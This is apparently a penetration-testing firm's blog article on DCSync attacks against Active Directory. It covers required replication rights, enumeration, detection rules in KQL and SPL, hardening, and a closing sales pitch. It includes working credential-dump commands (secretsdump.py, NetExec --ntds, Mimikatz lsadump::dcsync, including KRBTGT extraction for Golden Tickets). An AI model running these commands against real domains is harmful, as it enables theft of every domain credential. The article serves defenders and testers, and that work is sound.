DCSync Attacks: From Domain User to All Hashes in Under 60 Seconds

DCSync is the gold-standard credential dump technique against Active Directory. It abuses the Directory Replication Service Remote Protocol (DRSUAPI) to simulate the behaviour of a domain controller requesting password data from another DC. Any account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges can pull every credential in the domain \u2014 NTLM hashes, Kerberos keys, supplemental credentials, the KRBTGT hash that lets an attacker forge Golden Tickets \u2014 without ever touching a domain controller\u2019s disk or executing code on any DC.

That last point is what makes DCSync the preferred credential-harvest technique in mature red team and adversary simulation engagements: it produces no process-level artefact on the target DC, no file-on-disk indicator, no PowerShell or WMI execution event on the DC itself. The only reliable signal is in the DC\u2019s Security Event log, and that signal is generated by every legitimate domain controller replication operation too \u2014 so detection requires distinguishing legitimate DC-to-DC replication from attacker traffic.

Across Active Directory penetration testing engagements at Cyber Security Pentesting Inc., DCSync is the technique we successfully execute most often once an initial AD foothold is established. The reason is not that the technique is novel \u2014 it has been documented since at least 2015 \u2014 but that the prerequisite (an account with replication privileges) is satisfied in more environments than the defenders running them realise.

Required Privileges \u2014 What an Attacker Actually Needs

To execute a DCSync, an account needs two specific extended rights on the domain naming context:

• DS-Replication-Get-Changes (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
• DS-Replication-Get-Changes-All (GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

A third right \u2014 DS-Replication-Get-Changes-In-Filtered-Set \u2014 is optional and only required for replicating from read-only domain controllers (RODCs).

By default, four security principals hold these rights on the domain partition:

• Domain Admins
• Enterprise Admins
• Built-in Administrators
• Domain Controllers (as a security group)

That list is short, and an organisation with a clean AD would lock the surface to those four groups. In practice, every Active Directory assessment we conduct surfaces additional accounts with replication privileges. The recurring sources:

• Azure AD Connect synchronisation accounts \u2014 the MSOL_-prefixed account created during AAD Connect installation receives replication privileges by design. If the AAD Connect host is compromised, the attacker inherits DCSync capability automatically.
• Backup and identity governance service accounts \u2014 several enterprise backup products, SIEM connectors, and identity governance platforms request replication rights during setup. These service accounts are rarely audited.
• Legacy DirSync accounts \u2014 the predecessor to AAD Connect (DirSync) left behind privileged service accounts on many tenants that migrated through multiple identity sync products.
• Project remnants \u2014 accounts granted replication privileges five years ago for a one-time migration that nobody documented and nobody removed.
• ACL drift \u2014 deeply nested group memberships that inherit replication privileges through obscure paths visible only via tools like BloodHound.

Enumerating DCSync-Capable Accounts

The first move during an internal AD assessment is to enumerate which accounts currently hold DCSync privileges. PowerShell:

# Check who has DCSync rights on the domain partition (PowerShell)
Import-Module ActiveDirectory
$domain = Get-ADDomain
$acl = Get-Acl "AD:\$($domain.DistinguishedName)"
$acl.Access | Where-Object {
  $_.ActiveDirectoryRights -match "DS-Replication-Get-Changes" -and
  $_.AccessControlType -eq "Allow"
} | Select-Object IdentityReference, ActiveDirectoryRights | Format-Table -Auto

For the same enumeration from an attacker perspective (no domain credentials assumed), BloodHound returns the same data via the GetChanges and GetChangesAll edge types. The Cypher query for explicit non-DC principals with both rights:

// BloodHound Cypher \u2014 non-DC accounts with DCSync rights
MATCH (n)-[:GetChanges]->(d:Domain), (n)-[:GetChangesAll]->(d)
WHERE NOT (n:Computer AND n.distinguishedname CONTAINS "OU=Domain Controllers")
RETURN n.name, labels(n) ORDER BY n.name

Executing the Attack \u2014 Tooling

Several mature tools execute DCSync reliably. The choice depends on operational context (OpSec posture, available tooling, target environment):

Impacket secretsdump.py

The most common tool for DCSync from a Linux operator workstation. Supports password, NTLM hash, and Kerberos ticket authentication:

# Dump all domain hashes with credentials
python3 secretsdump.py DOMAIN/user:password@dc-ip -just-dc

# Pass-the-Hash to dump
python3 secretsdump.py -hashes :ntlmhash DOMAIN/user@dc-ip -just-dc

# Pass-the-Ticket
KRB5CCNAME=ticket.ccache python3 secretsdump.py -k DOMAIN/user@dc.fqdn -just-dc-ntlm

NetExec (formerly CrackMapExec)

NetExec wraps the Impacket DCSync code with multi-target enumeration and credential management. Common syntax:

# DCSync with NetExec
nxc smb dc-ip -u user -p password --ntds

# Dump only KRBTGT (minimal noise)
nxc smb dc-ip -u user -p password --ntds --user krbtgt

Mimikatz

Mimikatz remains the canonical Windows-native DCSync tool, useful when operating from a compromised Windows host inside the domain:

# Full domain dump in CSV format
lsadump::dcsync /domain:domain.local /all /csv

# Single target (e.g. KRBTGT for Golden Ticket)
lsadump::dcsync /domain:domain.local /user:krbtgt

DSInternals (defensive use)

For defenders, the PowerShell module DSInternals performs the same operation with auditing and password quality analysis features. Useful for legitimate password audit programmes and for verifying detection rule efficacy without depending on offensive tooling.

DCSync vs Alternative Credential Extraction Techniques

DCSync is one of several Active Directory credential extraction techniques. Operators choose between them based on what privileges they hold, the OPSEC posture of the engagement, and the defender capability of the target environment.

Detection \u2014 Reliable Signals

DCSync is detectable. Unlike LSASS dumping or NTDS.dit extraction, which require effort to detect on a compromised DC, DCSync generates a deterministic signal on every legitimate domain controller in the environment. The signal is Windows Security Event ID 4662 (An operation was performed on an object) with specific Properties values indicating replication rights were exercised.

The two GUIDs that matter:

• {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} \u2014 DS-Replication-Get-Changes
• {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} \u2014 DS-Replication-Get-Changes-All

Microsoft Sentinel (KQL) Detection Rule

// Detect DCSync from non-DC source account
SecurityEvent
| where EventID == 4662
| where ObjectServer == "DS"
| where Properties has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
   or Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| where AccountType != "Machine"
| where SubjectUserName !endswith "$"
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, Properties, ObjectName
| order by TimeGenerated desc

Splunk (SPL) Detection Rule

index=wineventlog EventCode=4662 ObjectServer=DS
(Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
 OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*")
NOT Account_Name="*$"
| table _time, host, Account_Name, Account_Domain, Properties, Object_Name
| sort -_time

Microsoft Defender for Identity

Defender for Identity ships a built-in DCSync detection (Suspected DCSync attack (replication of directory services)) that uses the same signal with additional correlation. Enable it. Tune the suppression list to legitimate replication accounts (Azure AD Connect MSOL_ account, etc.) so the alert is actionable rather than buried in false positives.

Network-Layer Detection

DRSUAPI traffic over RPC is the wire signal. A network detection rule on unusual IDL_DRSGetNCChanges calls from non-DC source IPs to DCs is a complementary control where network monitoring is in place. Limited in cloud-hosted DC scenarios where east-west traffic is opaque to the SOC.

Defence \u2014 The Hardening Playbook

Defending against DCSync is not about preventing the technique \u2014 the protocol exists for legitimate replication and cannot be disabled. It is about reducing the population of accounts that can execute it, monitoring for the ones that do, and limiting the blast radius if the technique succeeds.

1. Quarterly Replication ACE Audit

Every quarter, enumerate accounts with DS-Replication-Get-Changes-All on the domain partition. Remove any account that is not a domain controller and does not have a written, current business justification. Document the exceptions in your AD operations runbook.

2. Azure AD Connect Hardening

The MSOL_ synchronisation account is the most common Tier 0-equivalent service account in production AD environments. Treat the AAD Connect host as Tier 0 infrastructure: dedicated, hardened, no interactive logon for non-administrators, authentication silo membership, dedicated administrative workstation for management. For workloads where the AAD Connect privilege model is unacceptable, evaluate Microsoft\u2019s Cloud Sync provisioning agent, which uses a more constrained permission model.

3. Tier 0 / Tier 1 / Tier 2 Administrative Tiering

The Microsoft administrative tiering model exists because Tier 0 credentials (Domain Admin, AAD Connect service account, enterprise CA admin) must never authenticate against Tier 1 (server workloads) or Tier 2 (workstations) systems. Once a Tier 0 credential is exposed to a Tier 1 or Tier 2 system, that credential can be harvested by any threat actor who later compromises that system. DCSync becomes available the moment a Tier 0 credential is exposed below its tier.

4. Detection Rule Deployment and Tuning

Deploy the KQL or SPL rules above (or equivalents in your SIEM). Tune them: the legitimate replication accounts in your environment (AAD Connect MSOL_, any backup product service accounts, identity governance tooling) will generate Event ID 4662 with replication GUIDs as part of normal operation. Establish a baseline of legitimate sources during a 30-day observation window, then alert on deviations.

5. Privileged Access Workstations (PAW)

Tier 0 administrative tasks \u2014 including legitimate AD replication operations \u2014 should occur only from dedicated Privileged Access Workstations. PAWs eliminate the productivity-tooling attack surface (web browsers, email clients, productivity software) from the systems where Tier 0 credentials are typed. Implementing PAWs reduces the population of systems from which DCSync would be attempted.

Common Engagement Findings \u2014 What We Actually See in Canadian Enterprise AD

Aggregating the patterns from Active Directory assessments delivered through Cyber Security Pentesting Inc. (Toronto, Ontario), the most common DCSync-enabling findings in Canadian enterprise environments are consistent:

• Azure AD Connect on Tier 1 infrastructure. The AAD Connect host is deployed alongside other application servers rather than as Tier 0 infrastructure. Compromise of any Tier 1 system that the AAD Connect admin has interactively logged into yields the MSOL_ account credential, which yields DCSync.
• Backup service accounts with replication rights. Several enterprise backup products request DS-Replication-Get-Changes-All during setup. Many organisations grant it and never re-audit. The backup service account is then often used across both Tier 0 and Tier 1 systems, exposing it to harvest from compromised Tier 1 hosts.
• Legacy DirSync remnants. Organisations that migrated from DirSync to Azure AD Connect to Cloud Sync over 5+ years frequently retain orphaned service accounts from each transition. The orphans still hold replication rights but are not actively monitored.
• BloodHound paths exposing DCSync via non-obvious group nesting. Indirect paths to replication privileges via deeply nested group membership are present in nearly every environment we assess and are rarely visible to defenders without graph-based AD analysis tooling.
• Defender for Identity deployed but not tuned. The DCSync alert is enabled but its alerts are buried under false positives from legitimate AAD Connect sync activity that was never added to the suppression list. The alert effectively does not fire when needed.

For Ontario-headquartered financial services firms supervised by OSC, IIROC, or OSFI, DCSync findings map directly to Cyber Security Self-Assessment expectations on identity and access management maturity. Findings are documented in our reports with the OSFI B-13 control area, IIROC Cybersecurity Best Practices Guide section, and where applicable PHIPA s.12 technical safeguard implications for health information custodians whose AD also contains clinical system access.

Remediation \u2014 What "Closed" Looks Like

A DCSync finding is closed when:

1. The unauthorised account no longer holds DS-Replication-Get-Changes or DS-Replication-Get-Changes-All on the domain partition. Verified by re-running the enumeration PowerShell.
2. Any AAD Connect or third-party service account that legitimately requires replication privileges is hosted on Tier 0 infrastructure with authentication silo enforcement.
3. The SIEM detection rule (KQL or SPL above) has been deployed, tuned to legitimate sources, and tested with a controlled DCSync execution from a non-DC test account.
4. The remediation is documented in the IAM operations runbook so that the next AD admin who joins does not re-grant the privilege on day one.

Closure documentation supports the evidence pack a CCO, CISO, or compliance officer presents to OSC field auditors, IIROC reviewers, OSFI Technology Risk Division, or IPC Ontario investigators during cyber readiness reviews.

If you are responsible for an Active Directory environment in Toronto, the GTA, or anywhere across Canada, an Active Directory penetration test from a CREST-certified principal consultant will surface the DCSync exposure your defenders cannot see from inside the environment. Book a scoping call to discuss the engagement profile that matches your AD maturity.